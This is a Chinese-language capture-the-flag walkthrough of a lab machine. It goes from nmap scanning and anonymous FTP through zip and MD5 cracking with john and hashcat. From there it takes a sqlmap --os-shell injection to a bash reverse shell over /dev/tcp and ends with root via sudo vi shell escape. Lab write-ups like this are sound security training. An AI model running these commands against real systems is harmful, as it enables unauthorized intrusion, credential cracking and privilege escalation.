信息收集

端口扫描

nmap -A 10.129.181.104
  • -A:相当于-sVC,版本探测和使用攻击性脚本扫描
    由扫描结果可知,该服务器开放21【ftp],22【ssh】,80【http】端口,其中ftp由Nmap扫描结果可知可以使用匿名账号Anonynous免密码登录,且发现一个backup.zip的备份文件:
    Nmap扫描

    连接ftp

    ftp 10.129.181.104
    dir
    get backup.zip

    解压文件

    使用unzip命令尝试解压backup.zip文件,发现文件有密码,手动尝试弱密码无解,使用john the ripper工具进行爆破。

    sudo apt-get install john #若未安装john可以使用此命令安装
    zip2john backup.zip > hash.txt
    john --wordlist=/usr/share/wordlist/rockyou.txt hash.txt
    john --show hash.txt

    john

得到密码后使用unzip命令解压文件,然后查找passw*关键字:

unzip backup.zip
cat index.php | grep -i passw*

pass
可以看到密码的md5,由于是网站的备份文件,可以拿次密码尝试登录网站。

MD5解密

可以使用线上工具 https://www.cmd5.com/ 解密,也可以使用hashcat,该工具为最快的暴力破解软件。

echo "2cb42f8734ea607eefed3b70af13bbd3" > jiemi.txt
hashcat -m 0 -a 0 jiemi.txt /usr/share/wordlists/rockyou.txt 

hashcat
得到密码为qwerty789,发现为弱密码,其实也可以直接使用暴力破解进行登录。

边界突破

sqlmap注入

使用破解得到的账号和密码登录网站,发现只有一个搜索框,随便输入信息,观察链接,猜测可能存在数据库交互。
search
使用sqlmap对其进行sql注入。

sqlmap -u http://10.129.181.104/dashboard.php?search=123  --cookie="PHPSESSID=pbtabf2vr0v79b1bv7ug85lirk" --batch

sqlmap
得到一条关键信息,search参数易受到攻击,可以继续使用sqlmap --os-shell参数尝试取得shell。

sqlmap -u http://10.129.181.104/dashboard.php?search=123  --cookie="PHPSESSID=pbtabf2vr0v79b1bv7ug85lirk" --batch --os-shell

反弹shell

发现可以拿到shell,为了更加稳定的连接shell,这里继续使用反弹shell,可以使用https://www.revshells.com/这个工具快速选择反弹shell的类型。

sudo nc -lvnp 443 #新启一个terminal运行
bash -c "/bin/bash -i >& /dev/tcp/10.10.14.44/443 0>&1" #os-shell里面运行

查看敏感文件

简单翻看目录,在/var/lib/postgresql中存在第一个flag:user.txt
flag1
网站默认目录为/var/www/html/
翻看其中文件dashboard.php,查找关键字,发现存在用户名和密码字段:
password
这里shell会异常断开,已经拿到了用户名和密码,可以切换到ssh登录,进行后续操作。

ssh postgres@10.129.181.104

至此,成功取得postgres的权限。

权限提升

查看当前用户信息,包括属组,可以执行的特权:

id #查看用户信息
sudo -l #查看具有的特权

我们有sudo特权运行sudo vi /etc/postgresql/11/main/pg_hba.conf来编辑这个文件,这里可以使用GTFOBins工具提权。

sudo vi /etc/postgresql/11/main/pg_hba.conf
:set shell=/bin/bash
:shell
whoami

vi提权
至此已获得root权限,第二个flag在root用户的更目录 root.txt

最后修改:2022 年 11 月 06 日
如果觉得我的文章对你有用,请随意赞赏